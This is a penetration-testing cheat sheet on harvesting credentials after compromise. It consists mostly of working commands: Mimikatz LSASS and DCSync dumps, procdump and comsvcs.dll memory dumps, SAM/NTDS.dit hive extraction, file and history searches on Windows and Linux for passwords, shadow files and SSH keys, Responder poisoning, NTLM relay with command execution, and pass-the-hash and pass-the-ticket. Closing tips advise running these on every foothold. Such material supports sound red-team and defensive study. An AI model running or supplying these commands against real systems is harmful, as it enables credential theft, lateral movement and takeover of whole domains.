Credentials harvesting
Table of Contents
Post-exploitation technique to extract credentials from a compromised host or network. Goal is lateral movement or privilege escalation via reuse of obtained credentials. Splits into Windows memory/registry extraction, Linux file-based extraction, and network-level capture.
Related: Mimikatz Password Cracking Methodology Hashcat John The Ripper Kerberoasting Post Exploitation Windows Privilege Escalation Linux Privilege Escalation Pass-the-Ticket Pass-the-Hash
1. Windows — Memory Extraction
Mimikatz
Dumps plaintext passwords, NTLM hashes, and Kerberos tickets from LSASS. Requires SYSTEM or SeDebugPrivilege.
# Interactive privilege::debug sekurlsa::logonpasswords # plaintext + NTLM from memory sekurlsa::wdigest # WDigest plaintext (pre-Win10) sekurlsa::tickets # Kerberos tickets lsadump::sam # SAM database hashes lsadump::dcsync /user:Administrator # DCSync — replicate any hash from DC # One-liner .\mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"
See Mimikatz for full reference.
LSASS Dump — Offline
When Mimikatz is blocked by AV, dump LSASS process memory and parse offline on attacker machine:
# Task Manager → Details → lsass.exe → Create dump file # ProcDump (Sysinternals) .\procdump.exe -accepteula -ma lsass.exe lsass.dmp # comsvcs.dll — LOLBin method rundll32.exe C:\Windows\System32\comsvcs.dll MiniDump \ (Get-Process lsass).Id lsass.dmp full # Parse dump on attacker with Mimikatz sekurlsa::minidump lsass.dmp sekurlsa::logonpasswords
2. Windows — Registry / File Based
SAM + SYSTEM Hive
# Save hives (requires admin) reg save HKLM\SAM C:\Temp\SAM reg save HKLM\SYSTEM C:\Temp\SYSTEM reg save HKLM\SECURITY C:\Temp\SECURITY # Transfer to attacker and extract impacket-secretsdump -sam SAM -system SYSTEM -security SECURITY LOCAL
NTDS.dit — Domain Controller
Contains all domain hashes. Requires DC access.
# DCSync from attacker (requires replication rights) impacket-secretsdump domain.local/Administrator:password@$DC_IP # Volume Shadow Copy method on DC vssadmin create shadow /for=C: copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\ntds.dit C:\Temp\ copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\Temp\ impacket-secretsdump -ntds C:\Temp\ntds.dit -system C:\Temp\SYSTEM LOCAL
Credential Files and Config
# Stored Windows credentials cmdkey /list # Use with: runas /savecred /user:Administrator cmd.exe # PowerShell history type $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt # Unattended install files C:\Windows\Panther\Unattend.xml C:\Windows\sysprep\sysprep.xml # Common app credential locations %APPDATA%\FileZilla\sitemanager.xml # FTP creds %APPDATA%\.purple\accounts.xml # Pidgin %USERPROFILE%\.aws\credentials # AWS keys # Grep for passwords in files findstr /si "password" *.xml *.ini *.config *.txt powershell -c "Get-ChildItem -Recurse -Include *.xml,*.ini,*.config | Select-String 'password'"
Browser Credentials
# SharpChrome / SharpWeb — extract Chrome/Edge saved passwords .\SharpChrome.exe logins # LaZagne — comprehensive credential recovery tool .\LaZagne.exe all .\LaZagne.exe browsers .\LaZagne.exe windows
3. Linux — File Based
# Shadow file — if readable cat /etc/shadow unshadow /etc/passwd /etc/shadow > combined.hash john combined.hash --wordlist=/usr/share/wordlists/rockyou.txt # Bash / shell history cat ~/.bash_history cat ~/.zsh_history find / -name ".*history" 2>/dev/null # SSH private keys find / -name "id_rsa" -o -name "id_ecdsa" 2>/dev/null # Check if key is passphrase-protected grep -l "ENCRYPTED" /home/*/.ssh/id_rsa 2>/dev/null # Config files grep -r "password\|passwd\|secret\|key\|token" \ /var/www /opt /home /etc 2>/dev/null | grep -v Binary # Database credentials cat /var/www/html/config.php cat /var/www/html/.env find / -name "*.conf" -o -name "*.config" 2>/dev/null | xargs grep -l "password" 2>/dev/null
4. Network — Capture and Relay
Responder — LLMNR / NBT-NS Poisoning
Intercepts Windows name resolution requests and captures NTLMv2 hashes from machines on the same subnet:
# Attacker must be on same subnet — listen on interface sudo responder -I eth0 -wrf # Captured hashes appear in /usr/share/responder/logs/ # Crack with hashcat mode 5600 hashcat -m 5600 ntlmv2.hash /usr/share/wordlists/rockyou.txt
NTLM Relay — ntlmrelayx
When cracking is not viable, relay the captured hash directly to authenticate to another service:
# Disable SMB and HTTP in Responder first # Edit /etc/responder/Responder.conf: SMB = Off, HTTP = Off # Set up relay to target impacket-ntlmrelayx -tf targets.txt -smb2support # Run Responder alongside sudo responder -I eth0 -wrf # Successful relay dumps SAM or executes commands impacket-ntlmrelayx -tf targets.txt -smb2support -c "whoami"
5. Pass the Hash / Pass the Ticket
Once hashes are obtained — use directly without cracking:
# Pass the Hash — NTLM impacket-psexec Administrator@$TARGET -hashes :NTLM_HASH evil-winrm -i $TARGET -u Administrator -H NTLM_HASH impacket-wmiexec domain/Administrator@$TARGET -hashes :NTLM_HASH # Pass the Ticket — Kerberos (from Mimikatz ticket dump) .\Rubeus.exe ptt /ticket:base64_ticket # or .\mimikatz.exe "kerberos::ptt ticket.kirbi"
Tips
- Always attempt DCSync before SAM/NTDS dumping if you have DA or replication rights — cleaner and requires no file transfers
- Responder is passive until a broadcast query arrives — run it early and leave it listening while doing other enumeration
- LaZagne covers far more credential stores than manual grepping — run it on every Windows foothold
- NTLMv1 hashes (from older Responder captures) crack faster than NTLMv2 — check the hash format before committing to a long crack
- WDigest plaintext extraction only works reliably on pre-Windows 10 systems — modern systems cache hashes, not plaintext
- Pass-the-Hash does not work against systems with Protected Users security group membership or Credential Guard enabled